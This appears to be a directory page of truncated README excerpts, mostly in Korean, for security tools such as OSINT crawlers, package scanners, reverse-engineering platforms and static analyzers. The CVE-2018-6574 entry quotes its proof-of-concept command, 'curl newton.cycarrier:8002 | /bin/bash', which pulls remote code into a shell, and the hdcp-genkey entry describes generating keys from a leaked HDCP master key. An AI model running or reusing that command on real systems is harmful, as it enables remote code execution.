wahh_extras

wahhextras 웹 애플리케이션 해커 핸드북 - 추가 콘텐츠 『웹 애플리케이션 해커 핸드북 vol2』를 읽으신 모든 분들을 위해, 찾기 어려웠던 여러 추가 자료, 질문, 소스 코드가 있습니다. 이 저장소에 모두 모았습니다. 목차 웹 애플리케이션 침투 테스트 색인 답변 2장 – 핵심 방어 메커니즘 3장 – 웹 애플리케이션 기술 4장 – 애플리케이션 매핑 5장 – 클라이언트 측 제어 우회 6장 – 인증 공격 7장 – 세션 관리 공격 8장 – 접근 제어 공격 9장 – 데이터 저장소 공격 10장 – 백엔드 컴포넌트 공격 11장 –...

EUVA

🌌 EUVA IDE 리버스 엔지니어링을 위한 개방형 플랫폼. 🔍 EUVA 소개 EUVA는 단순한 헥스 편집기이자 디컴파일러가 아닙니다. 오히려 여러분이 커스터마이징하는 리버스 엔지니어링 플랫폼에 가깝습니다. 무엇이든 연결할 수 있는 플랫폼이며, 반대하지 않습니다. 우리는 커뮤니티의 이익을 위해 헌신하며, 최대한의 도구 유연성과 다른 분석기아마도 여러분의 분석기, 혹은 산업용 분석기?와의 빠른 통합을 지원합니다. 우리는 도구를 또 다른 디컴파일러로 만들고 싶지 않습니다. 디컴파일링은 재미없기 때문입니다. IDA, Binja 등이...

xcrawl3r

xcrawl3r xcrawl3r is a command-line utility designed to recursively spider webpages for URLs. It works by actively traversing websites - following links embedded in webpages, and parsing files including sitemaps & robots.txt - to uncover every URL. Unlike xurlfind3r that doesn't interact directly...

CVE-2018-6574

CVE-2018-6574 Go 1.8.7 이전, Go 1.9.x 1.9.4 이전, Go 1.10 프리릴리스 1.10rc2 이전 버전에서는 소스 코드 빌드 중에 go get 원격 명령 실행이 가능합니다. 이는 gcc 또는 clang 플러그인 기능을 활용하여 -fplugin= 및 -plugin= 인수가 차단되지 않았기 때문입니다. mitre에서 인용 RCE 명령 명령은 동적 라이브러리 calcdarwin.so로 컴파일되었습니다. 현재 명령은 curl newton.cycarrier:8002 | /bin/bash입니다. 이는 프로그램...

packj

Packj flags malicious/risky open-source packages Packj pronounced package is a tool to help to mitigate software supply chain attacks. It can detect malicious, vulnerable, abandoned, typo-squatting, and other "risky" packages from popular open-source package registries, such as NPM, RubyGems, and...

packj

Packj가 악성/위험한 오픈소스 패키지를 식별합니다 Packj 패키지로 발음는 소프트웨어 공급망 공격을 완화하는 도구입니다. NPM, RubyGems, PyPI와 같은 인기 있는 오픈소스 패키지 레지스트리에서 악성, 취약, 유지보수 중단, 타이포스쿼팅 및 기타 "위험한" 패키지를 탐지할 수 있습니다. 노이즈를 최소화하기 위해 쉽게 사용자 정의할 수 있습니다. Packj는 박사 연구 프로젝트로 시작했으며 현재 다양한 정부 보조금으로 개발 중입니다. 참고 이번 달 말에 Packj 웹서버 및 여러 통합 기능이 제공됩니다. 👊 이...

openqore

openqore BES 칩셋을 기반으로 한 헤드폰의 펌웨어를 패치, 수정, 개선하기 위한 오픈소스 툴킷입니다 원래 soundcore Q35에서 시작되었으며, 향후 다른 모델 지원도 계획 중입니다. 참고: 이 프로젝트는 하드웨어 리버스 엔지니어링과 임베디드 시스템의 세계로 떠나는 저의 개인적인 여정입니다. 버그, 실수, 그리고 많은 재미를 기대해 주세요. 모든 기여와 조언을 환영합니다! 중요 정보! 빠른 탐색 다음을 원하시나요: 헤드폰 펌웨어를 패치하고 싶다면? - qorepatcher 이 저장소, 빠른 시작은 아래를 참고하세요...

libsrtp

libSRTP 소개 이 패키지는 Secure Real-time Transport ProtocolSRTP, Universal Security TransformUST 및 이를 지원하는 암호화 커널의 구현을 제공합니다. SRTP API는 include/srtp.h에 문서화되어 있으며, 라이브러리는 컴파일 후 libsrtp2.a에 있습니다. 이 문서는 Cisco Systems, Inc.의 오픈 소스 Secure RTP 라이브러리인 libSRTP를 설명합니다. RTP는 Real-time Transport Protocol로, 전화, 오디...

whids

IMPORTANT: this README and other documentation is not updated to reflect the changes made to latest beta releases as a lot of changes happened. All this will be updated in time when a stable version will be released see Roadmap until next release. Feel free to run beta releases on your own and as...

inboxkitten

inboxkitten header 오픈소스 임시 이메일 - 서버리스 키튼이 제공합니다 Inboxkitten은 자신이 자유롭게 배포하고 채택할 수 있는 오픈소스 임시 이메일 서비스입니다! 저희 사이트를 방문하여 사용해 보거나, 혹은... Docker 배포 가이드 한 줄이면 됩니다 - 미리 빌드된 Docker 컨테이너를 사용하세요. 참고: 먼저 Mailgun 계정을 설정해야 합니다. PS: you should modify this for your use case docker run \ -e MAILGUNEMAILDOMAIN="" ...

hdcp-genkey

HDCP 키 생성 예제 이 스크립트는 유출된 HDCP 마스터 키master-key.txt에 위치를 사용하여 Python으로 HDCP 키 생성 알고리즘의 간단한 버전을 구현합니다. Usage: generatekey.py options Options: -h, --help show this help message and exit -m FILE, --master=FILE load master key from FILE -k, --sink generate a sink key rather than a source key --ksv=KSV...

awesome-osint

Awesome OSINT A curated list of amazingly awesome open source intelligence tools and resources. Open-source intelligence OSINT is intelligence collected from publicly available sources. In the intelligence community IC, the term "open" refers to overt, publicly available sources as opposed to...

dnsx

A fast and multi-purpose DNS toolkit designed for running DNS queries Features • Installation • Usage • Running dnsx • Wildcard • Notes • Join Discord dnsx is a fast and multi-purpose DNS toolkit designed for running various probes through the retryabledns library. It supports multiple DNS querie...

spiderfoot

SpiderFoot is an open source intelligence OSINT automation tool. It integrates with just about every data source available and utilises a range of methods for data analysis, making that data easy to navigate. SpiderFoot has an embedded web-server for providing a clean and intuitive web-based...

spiderfoot

SpiderFoot 는 오픈 소스 인텔리전스OSINT 자동화 도구입니다. 거의 모든 데이터 소스와 통합되며 데이터 분석을 위한 다양한 방법을 활용하여 데이터를 쉽게 탐색할 수 있도록 합니다. SpiderFoot는 깔끔하고 직관적인 웹 기반 인터페이스를 제공하기 위해 내장 웹 서버를 포함하고 있으며, 명령줄을 통해서도 완전히 사용할 수 있습니다. Python 3 로 작성되었으며 MIT 라이선스 입니다. 기능 웹 기반 UI 또는 CLI 200개 이상의 모듈 아래 참조 Python 3.7+ YAML 구성 가능한 상관 관계 엔진 37...

awesome-wazuh

awesome-wazuh Wazuh 리소스, 도구 및 통합에 대한 선별된 목록 Wazuh는 위협 예방, 탐지 및 대응을 위한 무료 오픈 소스 보안 모니터링 플랫폼입니다. 목차 공식 문서 시작하기 설치 가이드 배포 Docker Kubernetes Terraform / OpenTofu Ansible 클라우드 플랫폼 CI/CD 및 테스트 규칙 및 탐지 커뮤니티 규칙 벤더별 규칙 탐지 모듈 통합 알림 티켓팅 위협 인텔리전스 클라우드 플랫폼 SOAR 사용자 정의 통합 도구 및 유틸리티 유지보수 백업 및 복원 알려진 문제 규정 준수 교육...

pe-bear-old

PE-bear リリース PE-bear は、PE ファイル用のフリーウェアのリバースエンジニアリングツールです。その目的は、マルウェアアナリスト向けに高速かつ柔軟な「ファーストビュー」を提供し、不正な PE ファイルにも安定して対応できることです。 PE-bear 用シグネチャ: SIG.txt 更新日: 22.01.2014 - PEid の UserDB のシグネチャを含みます - crashish が提供するスクリプトで変換されました Chocolatey からも入手できます !!! 更新 !!! - 18 September 2022 以降、PE-bear...

dawnscanner

Dawnscanner - Ruby 웹 애플리케이션을 위한 떠오르는 보안 스캐너 dawn은 웹 애플리케이션의 보안 문제를 검토하기 위해 설계된 소스 코드 스캐너입니다. 이 도구는 Ruby로 작성된 웹 애플리케이션을 스캔할 수 있으며, 기본적으로 모든 주요 MVCModel View Controller 프레임워크를 지원합니다: Ruby on Rails Sinatra Padrino dawn 버전 2.0은 지식 베이스에 680개 이상의 보안 검사를 탑재하고 있으며, NIST의 National Vulnerability Database에서...

flawfinder

About This is "flawfinder" by David A. Wheeler. Flawfinder is a simple program that scans C/C++ source code and reports potential security flaws. It can be a useful tool for examining software for vulnerabilities, and it can also serve as a simple introduction to static source code analysis tools...

Aegis

Aegis Authenticator Aegis Authenticator は、Android向けの無料・安全・オープンソースの2FAアプリです。 オンラインサービスのための安全な認証アプリを提供することを目指しており、既存の認証アプリに欠けている適切な暗号化やバックアップなどの機能も含まれています。Aegis は HOTP と TOTP に対応しており、数千ものサービスと互換性があります。 よくある質問の一覧については、FAQ を参照してください。 アプリのセキュリティ設計とボールト形式の詳細は、このドキュメント に記載されています。 機能 無料かつオープンソース 安全...